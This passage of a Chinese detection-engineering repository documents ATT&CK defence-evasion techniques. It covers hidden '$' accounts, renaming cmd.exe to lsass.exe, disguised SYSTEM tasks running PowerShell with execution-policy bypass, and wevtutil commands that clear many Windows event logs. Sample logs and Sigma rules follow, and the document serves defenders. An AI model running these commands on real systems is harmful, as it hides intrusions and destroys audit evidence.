/delete\n```\n\n## 检测日志\n\n- **Windows安全日志**：通过Event ID 4720（用户账户创建）或Event ID 4781（用户账户重命名）记录用户账户操作（需启用账户管理审核）。\n- **Sysmon日志**：通过Event ID 1（进程创建）捕获`net.exe`的执行信息。\n\n## 测试复现\n\n### 测试1：创建带$符号的隐藏用户账户\n\n在Windows 10环境中复现：\n\n```cmd\nC:\\Windows\\system32>net user admin97$ admin /add\n命令成功完成。\n\nC:\\Windows\\system32>net user\n\n\\\\12306BR0-PC 的用户帐户\n-------------------------------------------------------------------------------\n12306Br0                 admin.098                admin.123\nAdministrator            Guest\n命令成功完成。\n```\n\n**结果**：\n- 成功创建用户`admin97$`。\n- 在`net user`查询中，`admin97$`未显示，表明隐藏效果生效。\n- 实际账户存在，可通过其他工具（如`lusrmgr.msc`或注册表）确认。\n\n**待补充**：\n- 修改用户账户的测试场景（如重命名或更改属性）未提供，需进一步验证。\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4720：用户账户创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4720\n任务类别: User Account Management\n级别: 信息\n用户: SYSTEM\n计算机: 12306BR0-PC\n描述:\n已创建用户帐户。\n\n主题:\n  安全 ID: 12306Br0-PC\\12306Br0\n  帐户名: 12306Br0\n  帐户域: 12306Br0-PC\n  登录 ID: 0x53e6a\n\n新帐户:\n  安全 ID: 12306Br0-PC\\admin97$\n  帐户名: admin97$\n  帐户域: 12306Br0-PC\n\n属性:\n  SAM 帐户名: admin97$\n  显示名称: <未设置值>\n  用户主体名称: -\n  主目录: <未设置值>\n  主驱动器: <未设置值>\n  脚本路径: <未设置值>\n  配置文件路径: <未设置值>\n  用户工作站: <未设置值>\n  上次设置的密码: <从不>\n  帐户过期: <从不>\n  主要组 ID: 513\n  允许委托给: -\n  旧 UAC 值: 0x0\n  新 UAC 值: 0x15\n  用户帐户控制:\n    已禁用的帐户\n    '不要求密码' - 已启用\n    '普通帐户' - 已启用\n  用户参数: <未设置值>\n  SID 历史: -\n  登录时间(以小时计): 全部\n\n附加信息:\n  特权: -\n```\n\n**分析**：\n- 日志记录了用户`admin97$`的创建，`SAM 帐户名`包含`$`符号。\n- 主题用户为`12306Br0`，表明由管理员账户执行。\n- 账户属性显示为普通账户，但未启用（需手动激活）。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 在属性'SamAccountName'中使用'$'的新用户帐户或重命名用户帐户\ndescription: Detects creation or renaming of user accounts with '$' in SamAccountName, indicating potential EDR/SIEM bypass.\nstatus: experimental\nauthor: 12306Br0\ndate: 2020/06/09\ntags:\n  - attack.defense_evasion\n  - attack.t1036\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection:\n    EventID:\n      - 4720 # 用户账户创建\n      - 4781 # 用户账户重命名\n    SamAccountName|contains: '$'\n  condition: selection\nfields:\n  - EventID\n  - SamAccountName\n  - SubjectAccountName\nfalsepositives:\n  - Legitimate administrative accounts with '$' (e.g., machine accounts)\nlevel: high\n```\n\n**规则说明**：\n- 检测创建（Event ID 4720）或重命名（Event ID 4781）用户账户时，`SamAccountName`包含`$`符号的行为。\n- 规则为实验性，需测试以减少合法机器账户（如`COMPUTERNAME$`）的误报。\n\n### 建议\n\n1. **监控用户账户操作**：\n   - 使用Sysmon（Event ID 1）捕获`net.exe`执行`net user`命令的行为，检查是否创建带`$`的用户。\n   - 监控Windows安全日志的账户管理事件（Event ID 4720、4722、4725、4781），关注`SamAccountName`中的`$`符号。\n\n2. **验证账户合法性**：\n   - 定期检查用户账户列表（`net user`、`lusrmgr.msc`或注册表`HKEY_LOCAL_MACHINE\\SAM`），识别异常的带`$`账户。\n   - 对比账户创建时间和预期管理员操作，排除合法机器账户。\n\n3. **启用详细日志**：\n   - 配置Windows安全策略，启用账户管理审核（`Audit Account Management`）。\n   - 部署Sysmon，记录进程创建（Event ID 1）和用户账户操作。\n\n4. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志，检测带`$`的用户账户创建或修改。\n   - 设置告警规则，针对非预期用户或系统创建的带`$`账户。\n\n5. **限制账户创建**：\n   - 使用组策略限制非管理员用户运行`net user /add`命令。\n   - 监控高权限账户（如`Administrator`）的异常操作。\n\n6. **检测RTLO和元数据伪装**：\n   - 检查账户名称是否包含RTLO字符（U+202E），可能通过脚本扫描注册表或日志。\n   - 验证账户的元数据（如描述、创建时间）是否与预期一致。\n\n7. **测试与验证**：\n   - 在测试环境中模拟创建带`$`的隐藏用户账户，验证检测规则有效性。\n   - 调整规则阈值，排除合法机器账户的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1036  \n  <https://attack.mitre.org/techniques/T1036/>\n- Atomic Red Team T1036  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1036/T1036.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1036.003-Win-重命名程序名称.md",
    "content": "# T1036.003-Win-重命名程序名称\n\n## 描述\n\n攻击者可能通过重命名合法系统实用程序来规避基于这些工具的安全监控机制。许多安全策略（如应用白名单或基于文件名的检测）针对系统实用程序（如`rundll32.exe`、`powershell.exe`）设置了特定规则。攻击者通过复制并重命名这些工具（如将`cmd.exe`重命名为`lsass.exe`），或将其放置在非标准路径中，绕过基于文件名或路径的检测。\n\n伪装技术的常见方法包括：\n- **将合法工具复制到受信任目录**：如`C:\\Windows\\System32`，并伪装为`explorer.exe`或`svchost.exe`等常见进程名。\n- **Right-to-Left Override (RTLO)**：利用Unicode字符（如U+202E）反转文件名显示，误导管理员（如`exe.tsehcvs`显示为`svchost.exe`）。\n- **修改二进制元数据**：更改图标、产品描述等PE头信息，使文件看似合法。\n- **移动并重命名**：将工具移到非标准路径（如`%APPDATA%`）并重命名，规避路径检测。\n\n在Linux系统中，攻击者可能在程序运行后修改其名称或路径（如伪装为`/bin`目录下的`rsyncd`或`dbus-inotifier`），以类似方式规避检测。\n\n## 测试案例\n\n以下测试案例展示了在Windows和Linux环境中通过重命名系统工具实现伪装的行为。\n\n### 测试1：伪装为Windows LSASS进程\n复制`cmd.exe`并重命名为`lsass.exe`，伪装为合法的LSASS进程。\n\n**攻击命令**：\n```cmd\ncmd.exe /c copy %SystemRoot%\\System32\\cmd.exe %SystemRoot%\\Temp\\lsass.exe\ncmd.exe /c %SystemRoot%\\Temp\\lsass.exe\n```\n\n**清理命令**：\n```cmd\ndel /Q /F %SystemRoot%\\Temp\\lsass.exe\n```\n\n### 测试2：伪装为Linux CROND进程\n复制`/bin/sh`并重命名为`crond`，伪装为Linux计划任务进程。\n\n**攻击命令**：\n```bash\ncp /bin/sh /tmp/crond\n/tmp/crond\n```\n\n### 测试3：伪装为Windows Notepad进程\n复制`cscript.exe`并重命名为`notepad.exe`。\n\n**攻击命令**：\n```cmd\ncopy %SystemRoot%\\System32\\cscript.exe %APPDATA%\\notepad.exe /Y\ncmd.exe /c %APPDATA%\\notepad.exe /B\n```\n\n**清理命令**：\n```cmd\ndel /Q /F %APPDATA%\\notepad.exe\n```\n\n### 测试4：伪装为Windows Svchost进程\n复制`wscript.exe`并重命名为`svchost.exe`。\n\n**攻击命令**：\n```cmd\ncopy %SystemRoot%\\System32\\wscript.exe %APPDATA%\\svchost.exe /Y\ncmd.exe /c %APPDATA%\\svchost.exe /B\n```\n\n**清理命令**：\n```cmd\ndel /Q /F %APPDATA%\\svchost.exe\n```\n\n### 测试5：伪装为Windows Taskhostw进程\n复制`powershell.exe`并重命名为`taskhostw.exe`。\n\n**攻击命令**：\n```cmd\ncopy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\taskhostw.exe /Y\ncmd.exe /K %APPDATA%\\taskhostw.exe\n```\n\n**清理命令**：\n```cmd\ndel /Q /F %APPDATA%\\taskhostw.exe\n```\n\n### 测试6：非Windows可执行文件伪装为Windows可执行文件\n复制任意可执行文件并重命名为Windows系统文件。\n\n**攻击命令**：\n```powershell\ncopy #{inputfile} #{outputfile}\n$myT1036 = (Start-Process -PassThru -FilePath #{outputfile}).Id\nStop-Process -ID $myT1036\n```\n\n### 测试7：Windows可执行文件伪装为其他Windows可执行文件\n复制系统工具并重命名为其他合法工具名称。\n\n**攻击命令**：\n```powershell\ncopy #{inputfile} #{outputfile}\n$myT1036 = (Start-Process -PassThru -FilePath #{outputfile}).Id\nStop-Process -ID $myT1036\n```\n\n### 测试8：恶意进程伪装为LSM.EXE\n复制`cmd.exe`并重命名为`lsm.exe`，并执行恶意操作。\n\n**攻击命令**：\n```cmd\ncopy C:\\Windows\\System32\\cmd.exe D:\\lsm.exe\nD:\\lsm.exe /c echo T1036 > D:\\T1036.txt\n```\n\n**清理命令**：\n```cmd\ndel /Q /F D:\\lsm.exe\ndel /Q /F D:\\T1036.txt\n```\n\n**复现结果**：\n- 所有测试在Windows 10环境中成功复现。\n- Linux测试（测试2）在适当环境中成功执行。\n\n## 检测日志\n\n- **Windows安全日志**：通过Event ID 4688（进程创建）记录伪装进程的执行（需启用进程跟踪审核）。\n- **Sysmon日志**：通过Event ID 1（进程创建）捕获详细的命令行参数、文件路径和父进程信息。\n\n## 测试留痕\n\n### Sysmon日志（Event ID 1：进程创建）\n\n以下为测试1（伪装为LSASS）的示例日志：\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 1\n任务类别: Process Create (rule: ProcessCreate)\n级别: 信息\n用户: SYSTEM\n计算机: hostname.qax.com\n描述:\nProcess Create:\nRuleName: technique_id=T1036.003,technique_name=Masquerading\nUtcTime: 2023-10-01 02:00:00.123\nProcessGuid: {12345678-1234-5678-1234-567890123456}\nProcessId: 1234\nImage: C:\\Windows\\Temp\\lsass.exe\nFileVersion: 10.0.19041.1\nDescription: Windows Command Processor\nProduct: Microsoft® Windows® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: cmd.exe\nCommandLine: C:\\Windows\\Temp\\lsass.exe\nCurrentDirectory: C:\\Windows\\system32\nUser: QAX\\Administrator\nLogonGuid: {12345678-1234-5678-1234-567890123457}\nLogonId: 0x123456\nTerminalSessionId: 1\nIntegrityLevel: High\nHashes: SHA1=...,MD5=...,SHA256=...\nParentProcessGuid: {12345678-1234-5678-1234-567890123458}\nParentProcessId: 5678\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: cmd.exe /c copy C:\\Windows\\System32\\cmd.exe C:\\Windows\\Temp\\lsass.exe\nParentUser: QAX\\Administrator\n```\n\n**分析**：\n- 日志显示`lsass.exe`实际为`cmd.exe`（通过`OriginalFileName`和`Description`字段确认）。\n- 非标准路径（`C:\\Windows\\Temp`）和父进程（`cmd.exe`）表明伪装行为。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: Suspicious Masquerading of System Utilities\ndescription: Detects execution of renamed system utilities in non-standard paths, indicating potential masquerading behavior.\nstatus: experimental\ntags:\n  - attack.defense_evasion\n  - attack.t1036.003\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    EventID: 1\n    Image|endswith:\n      - '\\lsass.exe'\n      - '\\svchost.exe'\n      - '\\notepad.exe'\n      - '\\taskhostw.exe'\n      - '\\lsm.exe'\n    Image|contains:\n      - '\\Temp\\'\n      - '\\AppData\\'\n      - '\\Users\\'\n    OriginalFileName|endswith:\n      - 'cmd.exe'\n      - 'powershell.exe'\n      - 'wscript.exe'\n      - 'cscript.exe'\n  condition: selection\nfields:\n  - Image\n  - OriginalFileName\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - Legitimate administrative scripts copying utilities for maintenance\nlevel: high\n```\n\n**规则说明**：\n- 检测在非标准路径（如`%APPDATA%`、`%TEMP%`）运行的伪装进程，且`OriginalFileName`与常见系统工具（如`cmd.exe`、`powershell.exe`）不匹配。\n- 规则为实验性，需测试以减少合法管理操作的误报。\n\n### 建议\n\n1. **监控非标准路径的系统工具**：\n   - 使用Sysmon（Event ID 1）捕获运行在`%APPDATA%`、`%TEMP%`等路径的伪装进程（如`lsass.exe`、`svchost.exe`）。\n   - 检查`OriginalFileName`和`Description`字段，验证文件是否与预期元数据匹配。\n\n2. **检测RTLO字符**：\n   - 监控文件名中包含Unicode字符U+202E（RTLO）的行为，可能通过脚本扫描文件系统或日志。\n   - 检查异常文件名模式（如`exe.tsehcvs`）。\n\n3. **关注命令行参数**：\n   - 分析伪装进程的命令行参数，检测与合法工具预期行为不符的操作。\n   - 例如，`svchost.exe`不应由`cmd.exe`直接启动。\n\n4. **启用详细日志**：\n   - 配置Sysmon记录进程创建（Event ID 1）和文件操作（Event ID 11）。\n   - 启用Windows安全日志的进程跟踪（Event ID 4688），确保记录命令行参数。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析Sysmon和安全日志，检测伪装行为。\n   - 设置告警规则，针对非标准路径的系统工具或异常父进程关系。\n\n6. **限制工具执行**：\n   - 使用AppLocker或组策略限制系统工具（如`cmd.exe`、`powershell.exe`）在非标准路径执行。\n   - 监控非管理员用户运行重命名工具的行为。\n\n7. **验证PE元数据**：\n   - 检查二进制文件的PE头信息（如`InternalName`、`OriginalFilename`、`ProductName`），与磁盘文件名对比，识别重命名行为。\n   - 使用工具（如Process Explorer）分析进程的真实身份。\n\n8. **测试与验证**：\n   - 在测试环境中模拟重命名攻击，验证检测规则有效性。\n   - 调整规则阈值，排除合法管理脚本的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1036.003  \n  <https://attack.mitre.org/techniques/T1036/003/>\n- 跟着ATT&CK学安全之defense-evasion  \n  <https://snappyjack.github.io/articles/2020-01/%E8%B7%9F%E7%9D%80ATT&CK%E5%AD%A6%E5%AE%89%E5%85%A8%E4%B9%8Bdefense-evasion>\n- Atomic Red Team T1036.003  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1036.003/T1036.003.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1036.004-Win-伪装服务或任务.md",
    "content": "# T1036.004-Win-伪装服务或任务\n\n## 描述\n\n攻击者可能通过修改任务或服务的名称，使其看起来像合法或良性的系统组件，以规避检测。Windows中的任务调度程序（`schtasks`）或服务管理工具（`sc`）创建的任务和服务通常具有名称和描述字段。攻击者可能利用与合法任务或服务（如`W32Time`）相似或相同的名称来伪装恶意活动。此外，任务或服务的描述字段也可能被修改以增强伪装效果，从而降低被安全工具或管理员发现的概率。\n\n这种伪装技术允许攻击者通过看似正常的系统行为执行恶意代码，绕过基于名称或模式的检测机制。\n\n## 测试案例\n\n以下测试案例展示了通过伪装任务或服务名称（如`win32times`，与合法的`W32Time`相似）来隐藏恶意行为的攻击技术。\n\n### 测试1：使用schtasks创建类似W32Time的计划任务\n\n**攻击命令**（需以管理员权限在命令提示符中运行）：\n```cmd\nschtasks /create /ru system /sc daily /tr \"cmd /c powershell.exe -ep bypass -file c:\\T1036.004_NonExistingScript.ps1\" /tn win32times /f\nschtasks /query /tn win32times\n```\n\n**清理命令**：\n```cmd\nschtasks /delete /tn win32times /f\n```\n\n**说明**：\n- 创建名为`win32times`的计划任务，伪装为合法的`W32Time`服务。\n- 使用`/tr`参数指定运行PowerShell脚本，`-ep bypass`绕过执行策略。\n- `/f`强制覆盖已有任务。\n\n### 测试2：使用sc创建类似W32Time的服务\n\n**攻击命令**（需以管理员权限在命令提示符中运行）：\n```cmd\nsc create win32times binPath= \"cmd /c start c:\\T1036.004_NonExistingScript.ps1\"\nsc qc win32times\n```\n\n**清理命令**：\n```cmd\nsc delete win32times\n```\n\n**说明**：\n- 创建名为`win32times`的服务，伪装为`W32Time`。\n- `binPath`指定运行PowerShell脚本的命令。\n- `sc qc`查询服务配置以确认创建。\n\n## 检测日志\n\n- **Windows安全日志**：通过Event ID 4688（进程创建）记录`schtasks.exe`或`sc.exe`的执行（需启用进程跟踪审核）。\n- **Sysmon日志**：通过Event ID 1（进程创建）捕获详细的命令行参数和父进程信息。\n\n## 测试复现\n\n### 测试1：使用schtasks创建类似W32Time的计划任务\n\n在Windows Server 2019环境中复现：\n\n```cmd\nC:\\Windows\\system32>schtasks /create /ru system /sc daily /tr \"cmd /c powershell.exe -ep bypass -file C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1036.004\\test.ps1\" /tn win32times /f\n成功: 成功创建计划任务 \"win32times\"。\n\nC:\\Windows\\system32>schtasks /query /tn win32times\n\n文件夹: \\\n任务名                                   下次运行时间           模式\n======================================== ====================== ===============\nwin32times                               2022/1/11 16:39:00     就绪\n\nC:\\Windows\\system32>schtasks /delete /tn win32times /f\n成功: 计划的任务 \"win32times\" 被成功删除。\n```\n\n**结果**：\n- 成功创建并查询了名为`win32times`的计划任务。\n- 任务伪装为`W32Time`，运行PowerShell脚本。\n\n### 测试2：使用sc创建类似W32Time的服务\n\n```cmd\nC:\\Windows\\system32>sc create win32times binPath= \"cmd /c start C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1036.004\\test.ps1\"\n[SC] CreateService 成功\n\nC:\\Windows\\system32>sc qc win32times\n[SC] QueryServiceConfig 成功\n\nSERVICE_NAME: win32times\n        TYPE               : 10  WIN32_OWN_PROCESS\n        START_TYPE         : 3   DEMAND_START\n        ERROR_CONTROL      : 1   NORMAL\n        BINARY_PATH_NAME   : cmd /c start C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1036.004\\test.ps1\n        LOAD_ORDER_GROUP   :\n        TAG                : 0\n        DISPLAY_NAME       : win32times\n        DEPENDENCIES       :\n        SERVICE_START_NAME : LocalSystem\n\nC:\\Windows\\system32>sc delete win32times\n[SC] DeleteService 成功\n```\n\n**结果**：\n- 成功创建并查询了名为`win32times`的服务。\n- 服务伪装为`W32Time`，运行指定脚本。\n\n## 日志留痕\n\n### 测试1：schtasks创建计划任务（Sysmon Event ID 1）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2022/1/10 16:39:19\n事件 ID: 1\n任务类别: Process Create (rule: ProcessCreate)\n级别: 信息\n用户: SYSTEM\n计算机: zhuli.qax.com\n描述:\nProcess Create:\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\nUtcTime: 2022-01-10 08:39:19.782\nProcessGuid: {78c84c47-f0b7-61db-6e0f-000000000800}\nProcessId: 4712\nImage: C:\\Windows\\System32\\schtasks.exe\nFileVersion: 10.0.17763.1 (WinBuild.160101.0800)\nDescription: Task Scheduler Configuration Tool\nProduct: Microsoft® Windows® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: schtasks.exe\nCommandLine: schtasks /create /ru system /sc daily /tr \"cmd /c powershell.exe -ep bypass -file C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1036.004\\test.ps1\" /tn win32times /f\nCurrentDirectory: C:\\Windows\\system32\\\nUser: QAX\\Administrator\nLogonGuid: {78c84c47-efde-61db-1754-2f0100000000}\nLogonId: 0x12F5417\nTerminalSessionId: 1\nIntegrityLevel: High\nHashes: SHA1=112C8FFA1C0934ACAAD2C58B3C7E81F3FB8E4A2C,MD5=3F9FD6D3B3E96B8F576DB72035DB38A7,SHA256=D6BA2CD73799477C051D9D864C47FCF5108064CDE07D3565871AFA10FC548086,IMPHASH=7EE4BC5589713B3470B8A950256E2E69\nParentProcessGuid: {78c84c47-efea-61db-450f-000000000800}\nParentProcessId: 4768\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: \"C:\\Windows\\system32\\cmd.exe\"\nParentUser: QAX\\Administrator\n```\n\n**分析**：\n- 日志记录了`schtasks.exe`创建名为`win32times`的计划任务。\n- 命令行包含可疑参数（如`powershell.exe -ep bypass`），表明潜在恶意行为。\n\n### 测试2：sc创建服务（Sysmon Event ID 1）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2022/1/10 08:43:44\n事件 ID: 1\n任务类别: Process Create (rule: ProcessCreate)\n级别: 信息\n用户: SYSTEM\n计算机: zhuli.qax.com\n描述:\nProcess Create:\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\nUtcTime: 2022-01-10 08:43:44.670\nProcessGuid: {78c84c47-f1c0-61db-910f-000000000800}\nProcessId: 7112\nImage: C:\\Windows\\System32\\sc.exe\nFileVersion: 10.0.17763.1 (WinBuild.160101.0800)\nDescription: Service Control Manager Configuration Tool\nProduct: Microsoft® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: sc.exe\nCommandLine: sc create win32times binPath= \"cmd /c start C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1036.004\\test.ps1\"\nCurrentDirectory: C:\\Windows\\system32\\\nUser: QAX\\Administrator\nLogonGuid: {78c84c47-efde-61db-1754-2f0100000000}\nLogonId: 0x12F5417\nTerminalSessionId: 1\nIntegrityLevel: High\nHashes: SHA1=622FA2729408E5F467A592223219DA7C547E7CC7,MD5=ABB56882148DE65D53ABFC55544A49A8,SHA256=78097C7CD0E57902536C60B7FA17528C313DB20869E5F944223A0BA4C801D39B,IMPHASH=35A7FFDE18D444A92D32C8B2879450FF\nParentProcessGuid: {78c84c47-efea-61db-450f-000000000800}\nParentProcessId: 4768\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: \"C:\\Windows\\system32\\cmd.exe\"\nParentUser: QAX\\Administrator\n```\n\n**分析**：\n- 日志记录了`sc.exe`创建名为`win32times`的服务。\n- `binPath`指向PowerShell脚本，表明伪装服务可能执行恶意代码。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 利用schtasks或sc伪装计划任务或服务\ndescription: Detects creation of tasks or services with suspicious names mimicking legitimate ones, such as W32Time.\nstatus: experimental\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1036/004/\ntags:\n  - attack.defense_evasion\n  - attack.t1036.004\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection_schtasks:\n    EventID: 1\n    Image|endswith: '\\schtasks.exe'\n    CommandLine|contains:\n      - '/create'\n      - '/tn'\n      - '/tr'\n    CommandLine|contains: 'win32times'\n  selection_sc:\n    EventID: 1\n    Image|endswith: '\\sc.exe'\n    CommandLine|contains:\n      - 'create'\n      - 'binPath='\n    CommandLine|contains: 'win32times'\n  condition: selection_schtasks or selection_sc\nfields:\n  - Image\n  - CommandLine\n  - User\nfalsepositives:\n  - Legitimate administrative tasks or services mimicking similar names\nlevel: medium\n```\n\n**规则说明**：\n- 检测`schtasks.exe`或`sc.exe`创建名为`win32times`的计划任务或服务，伪装为合法`W32Time`。\n- 检查命令行参数是否包含`/create`、`/tn`、`/tr`（任务）或`create`、`binPath=`（服务）。\n- 规则为实验性，需测试以减少合法管理操作的误报。\n\n### 建议\n\n1. **监控任务和服务创建**：\n   - 使用Sysmon（Event ID 1）捕获`schtasks.exe`和`sc.exe`的执行，检查任务或服务名称是否与合法组件（如`W32Time`）相似。\n   - 关注命令行中的可疑参数，如`powershell.exe -ep bypass`或非标准脚本路径。\n\n2. **检测异常任务和服务**：\n   - 定期扫描计划任务（`schtasks /query`）和服务列表（`sc query`），识别与已知合法名称不符的条目。\n   - 检查任务或服务的`binPath`或触发命令是否指向用户目录（如`%APPDATA%`、`%TEMP%`）。\n\n3. **启用详细日志**：\n   - 配置Sysmon记录进程创建（Event ID 1）和服务变更事件。\n   - 启用Windows安全日志的进程跟踪（Event ID 4688）和系统事件（Event ID 7045，服务安装）。\n\n4. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析Sysmon和安全日志，检测伪装任务或服务的创建。\n   - 设置告警规则，针对非预期用户或系统创建的类似`W32Time`的任务或服务。\n\n5. **限制任务和服务创建**：\n   - 使用组策略限制非管理员用户运行`schtasks`或`sc`命令。\n   - 部署AppLocker，限制`powershell.exe`在非标准场景下的执行。\n\n6. **关联行为分析**：\n   - 将任务/服务创建与后续行为（如网络连接、异常进程执行）关联，识别行为链。\n   - 例如，检测新创建任务是否触发了异常的网络活动（如C2通信）。\n\n7. **测试与验证**：\n   - 在测试环境中模拟伪装任务/服务，验证检测规则有效性。\n   - 调整规则阈值，排除合法管理操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1036.004  \n  <https://attack.mitre.org/techniques/T1036/004/>\n- Schtasks命令详解  \n  <https://www.cnblogs.com/daimaxuejia/p/12957644.html>\n- Atomic Red Team T1036.004  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1036.004/T1036.004.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1070-001-win-使用wevtutil命令删除日志.md",
    "content": "# T1070-001-Win-使用wevtutil命令删除日志\n\n## 来自ATT&CK的描述\n\n攻击者可能试图阻止由监测软件或进程捕获到的告警，以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置，以达到逃避追踪的目的。\n\n在基于特征监测的情况下，攻击者可以阻止监测特征相关的数据被发送出去，以便于阻止安全人员进行分析。这可以有很多方式实现，例如停止负责转发的进程（splunk转发器、Filebate、rsyslog等）。\n\n在正常的操作期间内，事件日志不太可能会被刻意清除。但是恶意攻击者可能会通过清除事件日志来尝试掩盖自己的踪迹。当事件日志被清除时，它是可疑的。发现“清除事件日志”时可能意味着有恶意攻击者利用了此项技术。\n\n集中收集事件日志的一个好处就是使攻击者更难以掩盖他们的踪迹，事件转发允许将收集到的系统事件日志发送给多个收集器（splunk、elk等），从而实现冗余事件收集。使用冗余事件收集，可以最大限度的帮助我们发现威胁。\n\n## 测试案例\n\n```yml\nwevtutil.exe cl \"ACEEventLog\"\nwevtutil.exe cl \"Application\"\nwevtutil.exe cl \"HardwareEvents\"\nwevtutil.exe cl \"Internet Explorer\"\nwevtutil.exe cl \"Key Management Service\"\nwevtutil.exe cl \"Media Center\"\nwevtutil.exe cl \"Microsoft-Windows-API-Tracing/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-AppID/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Application-Experience/Problem-Steps-Recorder\"\nwevtutil.exe cl \"Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant\"\nwevtutil.exe cl \"Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter\"\nwevtutil.exe cl \"Microsoft-Windows-Application-Experience/Program-Inventory\"\nwevtutil.exe cl \"Microsoft-Windows-Application-Experience/Program-Telemetry\"\nwevtutil.exe cl \"Microsoft-Windows-AppLocker/EXE and DLL\"\nwevtutil.exe cl \"Microsoft-Windows-AppLocker/MSI and Script\"\nwevtutil.exe cl \"Microsoft-Windows-Audio/CaptureMonitor\"\nwevtutil.exe cl \"Microsoft-Windows-Audio/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Authentication User Interface/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Backup\"\nwevtutil.exe cl \"Microsoft-Windows-BitLocker-DrivePreparationTool/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-BitLocker-DrivePreparationTool/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Bits-Client/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Bluetooth-MTPEnum/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-BranchCache/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-BranchCacheSMB/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-CodeIntegrity/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-CorruptedFileRecovery-Client/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-CorruptedFileRecovery-Server/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-DateTimeControlPanel/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-DeviceSync/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Dhcp-Client/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-DhcpNap/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-Dhcpv6-Client/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-Diagnosis-DPS/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Diagnosis-PCW/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Diagnosis-PLA/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Diagnosis-Scheduled/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Diagnosis-Scripted/Admin\"\nwevtutil.exe cl \"Microsoft-Windows-Diagnosis-Scripted/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Diagnostics-Networking/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Diagnostics-Performance/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-DiskDiagnostic/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-DiskDiagnosticDataCollector/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-DiskDiagnosticResolver/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-DriverFrameworks-UserMode/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-EapHost/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-EventCollector/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Fault-Tolerant-Heap/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-FMS/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Folder Redirection/Operational\"\nwevtutil.exe cl \"Microsoft-Windows-Forwarding/Operational\"\nwevtutil.exe cl 